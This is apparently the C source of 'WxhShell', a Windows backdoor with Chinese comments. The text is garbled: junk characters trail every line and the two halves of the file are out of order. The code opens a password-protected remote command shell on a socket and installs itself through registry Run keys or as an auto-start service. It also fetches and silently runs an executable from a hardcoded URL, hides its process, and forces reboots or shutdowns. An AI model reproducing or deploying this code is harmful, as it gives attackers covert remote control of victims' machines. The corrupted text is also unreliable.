    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,h1r6&MEY  
    if(Boot(SHUTDOWN)) h.QKbbDj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,7pO-:*g  
    else { 1GW=QbO 6  
    closesocket(wsh); XQk9 U  
    ExitThread(0); 0X)'8N  
    } %+G/oF |  
    break; hSD)|  
    }  { Lt \4h  
  // 获取shell fj 19U9R  
  case 's': { r&\}E+  
    CmdShell(wsh); +gOCl*L  
    closesocket(wsh); *kxk@(lT?  
    ExitThread(0); fh \<tnY  
    break; H#G~b""mY  
  } 11 .RG *  
  // 退出 HqU"i Y>b  
  case 'x': { 3;j?i<kM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^G# =>&,  
    CloseIt(wsh); o"v> BhpC  
    break; LIVVb"V|,  
    } >.#uoW4ZV  
  // 离开 ~]A';xH&  
  case 'q': { k-T_,1l{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \nx ^=4*yk  
    closesocket(wsh); Xt8;Pl  
    WSACleanup(); 1(!!EcU_  
    exit(1); Uz H)fB  
    break; gW6lMyiLb  
        } bs]ret$?(q  
  } i<1w*yu  
  } T{|'<KT  
P,~a'_w:|D  
  // 提示信息 qEf )TW(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @dJ s  
} m5zP|s1`['  
  } 89@89-_mC  
'oEFNC9V  
  return; GA6Z{U{XS  
}  tB[(o%k  
d+ih]?  
// shell模块句柄 ,q/K&'0`  
int CmdShell(SOCKET sock) G+'MTC_  
{ $K,rVTU  
STARTUPINFO si; 2X)E3V/*  
ZeroMemory(&si,sizeof(si)); Z[AJat@H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E] t:_v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^$_ifkkLz  
PROCESS_INFORMATION ProcessInfo; +]CKu$,8  
char cmdline[]="cmd"; IVkKmO(qO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eJ%~6c`@!  
  return 0; r em&F'x0V  
} 60teD>Eh,  
kzns:-a  
// 自身启动模式 ss,t[`AV{  
int StartFromService(void) w_,.  
{ uiE9#G  
typedef struct \p@,+ -gX  
{ ahS*YeS7  
  DWORD ExitStatus; }PyAmh$@  
  DWORD PebBaseAddress; >}O1lsjW:z  
  DWORD AffinityMask; X'jEI{1w  
  DWORD BasePriority; 0V}vVAa(B  
  ULONG UniqueProcessId; m2{z  
  ULONG InheritedFromUniqueProcessId; tJ.LPgfZ  
}   PROCESS_BASIC_INFORMATION; / vje='[!  
 O\]CfzR  
PROCNTQSIP NtQueryInformationProcess; '|4/aHU  
TR{8A^XhE8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \#2,1W@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?_W "=WpC  
)R9>;CuC9?  
  HANDLE             hProcess; Tr/wG  
  PROCESS_BASIC_INFORMATION pbi; Q-O:L  
+VDl"Hx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tI{ n!  
  if(NULL == hInst ) return 0; W3*WR,z  
{ j&|Em]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j^iH[pN] \  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L\_8}\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +#1WOQfAD  
$./JA) `  
  if (!NtQueryInformationProcess) return 0; SP HeI@i  
~LO MwMHl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vCbqZdy?  
  if(!hProcess) return 0; 4p>@UB&U  
9Wx q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5 ;dg#hO  
gA2\c5F<  
  CloseHandle(hProcess); XV%L6x  
[:g6gAuh,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bMkn(_H)\  
if(hProcess==NULL) return 0; <LZvG IMl  
3 {on$\  
HMODULE hMod; #dW$"u   
char procName[255]; f:"es: Fb  
unsigned long cbNeeded; mN3%;$ND7  
$L:g7?)k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :r^i0g|5P  
Iy|]U&`  
  CloseHandle(hProcess); .yi.GRk  
xE;fM\7pu  
if(strstr(procName,"services")) return 1; // 以服务启动 o0s+ roiD  
LL9Mty,  
  return 0; // 注册表启动 i0p"q p  
} a/L?R Uu  
jW2z3.w  
// 主模块 WF*2^iWJ  
int StartWxhshell(LPSTR lpCmdLine) N[aK#o,  
{ {x2N~1!E  
  SOCKET wsl; [_-CO }>  
BOOL val=TRUE; vj?9X5A_  
  int port=0; HEjV7g0E  
  struct sockaddr_in door; D\j1`  
-U%wLkf|  
  if(wscfg.ws_autoins) Install(); G:u[Lk#6K  
/d'^ XYOC  
port=atoi(lpCmdLine); ,W*<e-  
z6'zNM7M  
if(port<=0) port=wscfg.ws_port; @YpA'cX7  
=,gss&J!!  
  WSADATA data; _QY0j%W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2c8,H29  
z %+?\.oH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lOd[8|/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N ?V5gi  
  door.sin_family = AF_INET; ^>g+:?x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T{sw{E*  
  door.sin_port = htons(port); K Qub%`n  
a5Xr"-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ET=q 1t8  
closesocket(wsl); quGb;)3  
return 1; BR5$;-7W  
} wg!  
0Lc X7gU>  
  if(listen(wsl,2) == INVALID_SOCKET) { kz,Nz09}W  
closesocket(wsl); Sm+Ek@Ax  
return 1; lmr {Ib2a  
}  9l{r&]  
  Wxhshell(wsl); Am  kHVg  
  WSACleanup(); C/!2q$  
]>R`]U9*O  
return 0; xiA9X]FB  
_6=6 b!hD  
} .%WbXs  
x0Tb7y`  
// 以NT服务方式启动 0qJ(3N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bG.aV#$FIg  
{ N1#*~/sXh  
DWORD   status = 0; <-}6X  
  DWORD   specificError = 0xfffffff; wQM(Lm#Q  
C+y:<oo)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y3;G<9K2c]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ix7N q7!N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z%*ZmF^K  
  serviceStatus.dwWin32ExitCode     = 0; + ` Em&  
  serviceStatus.dwServiceSpecificExitCode = 0; ub,Sj{Mq"  
  serviceStatus.dwCheckPoint       = 0; wG^{Jf&@$  
  serviceStatus.dwWaitHint       = 0; 5"XcVH4g  
oh& P Q{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {T:2+iS9:  
  if (hServiceStatusHandle==0) return; aeH 9:GQ6  
7|,5;  
status = GetLastError(); (O&ooM* o  
  if (status!=NO_ERROR) R['qBHQ?  
{ +(cs,?`\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TmzEZ<} &7  
    serviceStatus.dwCheckPoint       = 0; x,>@IEN7  
    serviceStatus.dwWaitHint       = 0; BszkQ>#6  
    serviceStatus.dwWin32ExitCode     = status; 3TtnLay.k  
    serviceStatus.dwServiceSpecificExitCode = specificError; H~||]_q|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DJrA@hm/Y  
    return; $qIMYX  
  } gtCd#t'(V  
q7m-} mBN~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !y4o^Su[  
  serviceStatus.dwCheckPoint       = 0; -fG;`N5U  
  serviceStatus.dwWaitHint       = 0; U&`M G1uHe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <k<  
} v C><N  
lv$tp,+  
// 处理NT服务事件,比如:启动、停止 h7*fjw-Xz[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g%9I+(?t  
{ \n:'>:0X!  
switch(fdwControl) (MNbABZQ  
{ 5^0W\  
case SERVICE_CONTROL_STOP: 7*@qd&  
  serviceStatus.dwWin32ExitCode = 0; #G9S[J=xe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q3z-v&^E9  
  serviceStatus.dwCheckPoint   = 0; 7z F29gC  
  serviceStatus.dwWaitHint     = 0; 1[X+6viE  
  { ,pf<"^li  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5;dnxhf  
  } `;QpPSw+  
  return; `+]4C+w  
case SERVICE_CONTROL_PAUSE: mQJRq??P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a8Ci 7<V  
  break; oqUtW3y  
case SERVICE_CONTROL_CONTINUE: g<}K^)x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uWi+F)GS^K  
  break; :[\}Hn=  
case SERVICE_CONTROL_INTERROGATE: 7CM<"pV  
  break; Q> @0'y=s  
}; ivw2EEo,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }@a_x,O/x}  
} #.Ft PR  
f4`=yj*  
// 标准应用程序主函数 R:i7Rb2C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )ZNH/9e/  
{ '>2xP<ct!&  
mj S)*@F  
// 获取操作系统版本 k\x>kJ}0  
OsIsNt=GetOsVer(); gZ/M0px  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /lAt&0  
r+ v*(Tu  
  // 从命令行安装 .xCO_7Rd  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3VA Lrb;  
m:Z=: -x  
  // 下载执行文件 \f@PEiARG7  
if(wscfg.ws_downexe) { -i?!em'J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SaQ_%-&#p  
  WinExec(wscfg.ws_filenam,SW_HIDE); vPSH  
} 0'z$"(6D  
!*+~R2&b  
if(!OsIsNt) { )Hl;9  
// 如果时win9x,隐藏进程并且设置为注册表启动  SvDVxK  
HideProc(); GG%j+Ed  
StartWxhshell(lpCmdLine); H%Q@DW8~@  
} #N@sJyI N  
else ",`fGu )  
  if(StartFromService()) y\r8_rBo  
  // 以服务方式启动 4J-)+C/edx  
  StartServiceCtrlDispatcher(DispatchTable); K^s!0[6  
else ']A+wGR&r  
  // 普通方式启动 }&`#  
  StartWxhshell(lpCmdLine); {$O.@#'  
3EF|1B/5  
return 0; /`}C~  
} M,q'   
Lgvmk  
BNu zlR  
& UL(r  
=========================================== [ o3}K  
ZZzf+F)T  
}c%QF  
:6N{~[:4  
q;t T*B W  
\W}?4kz  
" !=|3^A  
8$xg\l0?KK  
#include <stdio.h> Hz%#&E  
#include <string.h> 6-QTqb?U;N  
#include <windows.h> 1th|n  
#include <winsock2.h> >Y)jt*vQ  
#include <winsvc.h> FU5vo  
#include <urlmon.h> |UBR8  
XvZg!<*OH  
#pragma comment (lib, "Ws2_32.lib") Q5{i#F7nJm  
#pragma comment (lib, "urlmon.lib") C4TJS,!1rH  
7cY_=X-?Y  
#define MAX_USER   100 // 最大客户端连接数 tezsoR!.ak  
#define BUF_SOCK   200 // sock buffer )5Gzk&|  
#define KEY_BUFF   255 // 输入 buffer 6_`x^[r  
VO#]IXaP  
#define REBOOT     0   // 重启 K=+w,H# `C  
#define SHUTDOWN   1   // 关机 GkaIqBS  
2O`uzT$  
#define DEF_PORT   5000 // 监听端口 SYeCz(H>d  
1MX:^L!f8  
#define REG_LEN     16   // 注册表键长度 zrD$loaW.'  
#define SVC_LEN     80   // NT服务名长度 }4 P@`>e/`  
IEjKI"  
// 从dll定义API n=L;(jp<j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +cQ4u4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u5$\E]+ _  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L7%Dc2{^(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $2 ~A^#"0  
F+*: >@3  
// wxhshell配置信息 n]6xrsE  
struct WSCFG { E;| q  
  int ws_port;         // 监听端口 .oN<c]iqE  
  char ws_passstr[REG_LEN]; // 口令 .kBi" p&  
  int ws_autoins;       // 安装标记, 1=yes 0=no hTf]t  
  char ws_regname[REG_LEN]; // 注册表键名 <;SQ1^N  
  char ws_svcname[REG_LEN]; // 服务名 T_y 'cvh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =p N?h<dc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =JX.* MEB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Euk#C;uBg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >c5Vz^uM{4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LL#7oBJdM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v3Te+oLg  
Hx62x X  
}; z! D >l  
Z\6azhbI}  
// default Wxhshell configuration :*)~nPVV  
struct WSCFG wscfg={DEF_PORT, 1sGkbfh{t  
    "xuhuanlingzhe", P\*-n"  
    1, ?dC[VYC\^  
    "Wxhshell", o T5?*3f  
    "Wxhshell", aq0J }4U  
            "WxhShell Service", )}]<o |'  
    "Wrsky Windows CmdShell Service", AL&}WbUC  
    "Please Input Your Password: ", r/Qq-1E  
  1, \02j~r`o  
  "http://www.wrsky.com/wxhshell.exe", KFCuv15w,3  
  "Wxhshell.exe"  ORp6  
    }; ZgZ}^x  
]cLpLA"  
// 消息定义模块 Tf21K9+`L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m/cbRuPWgP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UI_|VU>J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %pt ul_(s'  
char *msg_ws_ext="\n\rExit.";  &5O  
char *msg_ws_end="\n\rQuit."; hy3[MOD$G  
char *msg_ws_boot="\n\rReboot..."; Lk4&&5q  
char *msg_ws_poff="\n\rShutdown..."; rcOpOoU|  
char *msg_ws_down="\n\rSave to "; JrOp-ug  
f(|qE(  
char *msg_ws_err="\n\rErr!"; 0{gvd"q  
char *msg_ws_ok="\n\rOK!"; t \Fc <  
nxA]EFS  
char ExeFile[MAX_PATH]; FOM~Uj  
int nUser = 0; @HMt}zD  
HANDLE handles[MAX_USER]; :_p3nb[r  
int OsIsNt; `a3q)}*Y  
%*oz~,i  
SERVICE_STATUS       serviceStatus; E )09M%fe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cx1U6A+  
Op~sR^ez  
// 函数声明 x,5$VLs\+  
int Install(void); b+[9) B)a?  
int Uninstall(void); />FrMz8;(  
int DownloadFile(char *sURL, SOCKET wsh); V`pTl3  
int Boot(int flag); *<Fz1~%*  
void HideProc(void); B[S.6 "/H  
int GetOsVer(void); 7iLm_#M  
int Wxhshell(SOCKET wsl); gt';_  
void TalkWithClient(void *cs); 9c=Y+=<  
int CmdShell(SOCKET sock); 8}{';k  
int StartFromService(void); agM.-MK  
int StartWxhshell(LPSTR lpCmdLine); slOki|p;  
1AjsAi,7;2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l:z :tJ#(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UH%oGp$ykX  
>XSe  
// 数据结构和表定义 \-#~)LB]M  
SERVICE_TABLE_ENTRY DispatchTable[] = xX{uDMYa;  
{ ]6pxd \Q  
{wscfg.ws_svcname, NTServiceMain}, =yz#L@\!  
{NULL, NULL} !jU<(eY  
}; rf@/<Wu  
v"F.<Q  
// 自我安装 dt',)i8D  
int Install(void) one^XYy1%  
{ _B 8e 1an  
  char svExeFile[MAX_PATH]; 2 t< dCw  
  HKEY key; f"k?Ix\ e  
  strcpy(svExeFile,ExeFile); SL hki)|  
y$r9Y!?s  
// 如果是win9x系统,修改注册表设为自启动 U^+9l?ol  
if(!OsIsNt) { ?" {+m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ga4 gH>4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 83412@&  
  RegCloseKey(key); Ke&lGf"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mB"zyL-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2^ ^;Q:  
  RegCloseKey(key); P>)-uLc~W  
  return 0; _ZzN}!Mye  
    } k {s#wJA  
  } 7. G   
} Ua5m2&U1  
else { T!"<Kv]J  
>m:.5][yu  
// 如果是NT以上系统,安装为系统服务 ^n@iCr9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YQ,IdWav  
if (schSCManager!=0) p0qQ(  
{ dsR{ P,!  
  SC_HANDLE schService = CreateService H'q&1^w)  
  ( Dr6Br<yi  
  schSCManager, c~5#)AXMT  
  wscfg.ws_svcname, N5}vy$t_P  
  wscfg.ws_svcdisp, 1.p?P] .  
  SERVICE_ALL_ACCESS, ~9kvC&/{[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SjtGU47$!  
  SERVICE_AUTO_START, ?OZbns~  
  SERVICE_ERROR_NORMAL, S4qh8c  
  svExeFile, O.TFV.  
  NULL, ]N!SG@X+  
  NULL, 7Kk rfJqN  
  NULL, }h +a8@  
  NULL, i_`YZ7Hxp  
  NULL DECX18D  
  ); / v5Pk.!o  
  if (schService!=0) 7KRc^ *pZs  
  { ~e 6yaX8S  
  CloseServiceHandle(schService); O.& 6J/  
  CloseServiceHandle(schSCManager); yZ0;\Tr*J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'x+0 yd  
  strcat(svExeFile,wscfg.ws_svcname); 2}$Vi$ R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c`doR(oZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); **! lV]/  
  RegCloseKey(key); +GP"9S2%R  
  return 0; X-:Ni_O\ty  
    } M\\TQ(B  
  } 2Mu-c:1  
  CloseServiceHandle(schSCManager); k5!k3yI  
} px//q4 U  
} n  'P:  
&0(2Z^Z>fw  
return 1; 7 aDI6G  
} S~(4q#Dt-  
&U4]hawbOU  
// 自我卸载 <Cg;l<$`b  
int Uninstall(void) ]DmqhK`  
{ Qbl6~>T  
  HKEY key; W.MJyem  
g+ 2SB5 2D  
if(!OsIsNt) { RVI],O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :&?#~NFH  
  RegDeleteValue(key,wscfg.ws_regname); +bdkqdB9  
  RegCloseKey(key); )Bb :tz+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VZAdc*X  
  RegDeleteValue(key,wscfg.ws_regname); OUI}jJw+  
  RegCloseKey(key); ry~3YYEMI0  
  return 0; M8KfC!  
  } / sH*if  
} jvu,W4  
} ~{^A&#P  
else { ei\X/Z*q%P  
Ql&P1|&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OQ+?nB  
if (schSCManager!=0) 2i,Jnv=sR  
{ 'kH#QO\(e"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {H])Fob  
  if (schService!=0) PDD` eK}Fj  
  { *k+QX   
  if(DeleteService(schService)!=0) { A: 0] n  
  CloseServiceHandle(schService); +%U@  
  CloseServiceHandle(schSCManager); u52; )"&=)  
  return 0; g-+p(Ll|  
  } N..9N$+(  
  CloseServiceHandle(schService); ~RvU+D  
  } Ae ue:u>  
  CloseServiceHandle(schSCManager); M\`6H8aLn  
} 6bHj<6>MX  
} .*Hv^_  
A]H+rxg  
return 1; ^<y$+HcH  
} < "~k8:=4  
n0vPW^EQ  
// 从指定url下载文件 ^f<f&V  
int DownloadFile(char *sURL, SOCKET wsh) 5)T{iPU%X  
{ !Id F6 %  
  HRESULT hr; cq[}>5*k  
char seps[]= "/"; R`1$z8$  
char *token; zR{TWk]  
char *file; gvcT_'  
char myURL[MAX_PATH]; wV5<sH__  
char myFILE[MAX_PATH]; A=XM(2{aN  
H.>KYiv+  
strcpy(myURL,sURL); Ei}DA=:s  
  token=strtok(myURL,seps); ?|s[/zPS=  
  while(token!=NULL) xFpJ#S&  
  { ^xqh!  
    file=token; %'g/4I  
  token=strtok(NULL,seps); /OxF5 bN2  
  } ^eZqsd8a  
jBE= Ij  
GetCurrentDirectory(MAX_PATH,myFILE); DcOu =Y> 1  
strcat(myFILE, "\\"); OcSLRN?t  
strcat(myFILE, file); \ [>Rt  
  send(wsh,myFILE,strlen(myFILE),0); {|rwIRe  
send(wsh,"...",3,0); dDm<'30?*v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YDmFR,047  
  if(hr==S_OK) 0hNc#x6  
return 0; .Dx]wv  
else ||!k 3t#<  
return 1; ^8MgNVoJ)  
|=h>3Z=r!  
} `q xg  
As)-a5!  
// 系统电源模块 jXW71$B  
int Boot(int flag) SR43#!99Q  
{ mS%D" e  
  HANDLE hToken; ")sq?1?X  
  TOKEN_PRIVILEGES tkp; DD~8:\QD  
el[6E0!@  
  if(OsIsNt) { w\@Anwj#L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;c;;cJc!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]]7s9PCN  
    tkp.PrivilegeCount = 1; CX1'B0=\r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'E7|L@X"r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eA+6-'qN  
if(flag==REBOOT) { 0&mz'xra  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zmp ^!|=X!  
  return 0; 5 |>jz `  
} > 5 i8 %r  
else { lq%s/l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #[i({1`^L  
  return 0; xknP `T  
} =E,*8O]  
  } sX**'cH  
  else { W5yqnjK $4  
if(flag==REBOOT) { Fh?q;oEj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U#Z}a d?VX  
  return 0; leyX: +  
} &j>`H:  
else { P"xP%zqo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O^IpfS\/  
  return 0; R_H di~ k  
} kj-S d^  
} +Uk/Zg w^  
"urQUpF  
return 1; tZ6KU11O  
} xUeLX`73  
 F-ijGGL#  
// win9x进程隐藏模块 A!j&g(Z"Q  
void HideProc(void) (^6SF>'  
{ E8V,".!+E  
g!K(xh EO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y]Xal   
  if ( hKernel != NULL ) )9PQ j  
  { VvPTL8Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z-/ E$j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 43(+3$VM7  
    FreeLibrary(hKernel); N}^\$sVu_  
  } G,$jU9 f  
4K4?Q+?  
return; 2pB@qi-]  
} z}pdcQl#  
?5+=  
// 获取操作系统版本 J[<:-$E  
int GetOsVer(void) ^c-1w V` /  
{ v4 c_UFEh<  
  OSVERSIONINFO winfo; TYB^CVSZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P [gqv3V  
  GetVersionEx(&winfo); D+k5e=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8WaVs6  
  return 1; 7[8PSoo  
  else J.*dA j  
  return 0; jT'1k[vJj  
} hDfsqSK0 /  
j[c|np4k\  
// 客户端句柄模块 SFh6'v'1N@  
int Wxhshell(SOCKET wsl) Z,Q)\W<'-  
{ A3h[VnuG,  
  SOCKET wsh; *,z__S$Q)  
  struct sockaddr_in client; n*'|7#;  
  DWORD myID; v+Ooihxl  
<S5Am%vo  
  while(nUser<MAX_USER) QPdhesrd-  
{ x==%BBnO%  
  int nSize=sizeof(client); a[t2T jB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pYVQ-r%QF  
  if(wsh==INVALID_SOCKET) return 1; ku?i[Th  
i"zWv@1z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p5Y"W(5_  
if(handles[nUser]==0) r6j 3A  
  closesocket(wsh); 5]gd,&^?>  
else ZG<<6y*.  
  nUser++; IEO5QV:u:  
  } qf+I2 kyS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ` 8.d  
mO]>(^c  
  return 0; h*&-[nSo  
} p"Fj6T2  
LL.YkYu  
// 关闭 socket q(_pk&/  
void CloseIt(SOCKET wsh) 4WDh8U  
{ nV GrW#'E  
closesocket(wsh); 3C2L _ K3  
nUser--; *qGxQ?/  
ExitThread(0); j@Z4(X L  
} $\{@wL  
bf::bV?T  
// 客户端请求句柄 $c[8-=  
void TalkWithClient(void *cs) p]IF=~b  
{ i!jx jP  
|WlWZ8]  
  SOCKET wsh=(SOCKET)cs; ^qYJx  
  char pwd[SVC_LEN]; `0Qzu\gRb  
  char cmd[KEY_BUFF]; k6. }.  
char chr[1]; pT.iQ J|  
int i,j; c`AtK s)u  
"ifYy>d  
  while (nUser < MAX_USER) { leX&py  
*N<~"D  
if(wscfg.ws_passstr) { hb zU?_}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a\aJw[d{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WHMt$W}%  
  //ZeroMemory(pwd,KEY_BUFF); g!cTG-bh>J  
      i=0; TDk'  
  while(i<SVC_LEN) { iIA&\'|;i  
$_% a=0  
  // 设置超时 ,;hI yT  
  fd_set FdRead; 6:#zlKYJ  
  struct timeval TimeOut; i4&"-ujrm  
  FD_ZERO(&FdRead); G2zfdgW${/  
  FD_SET(wsh,&FdRead); F3i+t+Jt  
  TimeOut.tv_sec=8; Hq3"OMGq  
  TimeOut.tv_usec=0; X^eTf-*T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Fm(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uI!rJc>TX  
PW~+=,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pQ!NhzQ  
  pwd=chr[0]; [n44;  
  if(chr[0]==0xd || chr[0]==0xa) { xP "7B9B  
  pwd=0; >@rsh-Z  
  break; c54oQ1Q&"  
  } ;1A4p`)  
  i++; yk,o*g  
    } ehV`@ss  
7q^o sOj"  
  // 如果是非法用户,关闭 socket y08.R. l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |Xlpgdiu  
} 4(f[Z9 iZ]  
F /IXqj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B{PI&a9~s%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M6[&od  
&2d^=fih  
while(1) { nK)U.SZ  
`rN,*kcP  
  ZeroMemory(cmd,KEY_BUFF); I>B-[QEC  
4U*J{''L  
      // 自动支持客户端 telnet标准   2I* 7?`  
  j=0; Q &<:W4N*  
  while(j<KEY_BUFF) { 540-lMe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d dkh*[  
  cmd[j]=chr[0]; 67wY_\m9I  
  if(chr[0]==0xa || chr[0]==0xd) { ?<STt 9  
  cmd[j]=0; 4#1[i|:M  
  break; MuQyHEDF  
  } uckag/tv  
  j++; 1>r7s*  
    } ^OnU;8IC  
3&^4%S{/  
  // 下载文件 0,1:l3iu1M  
  if(strstr(cmd,"http://")) { N.vt5WP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M,7A|?O  
  if(DownloadFile(cmd,wsh)) dgh )Rfp3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y1GVno  
  else TL-sxED,,D  
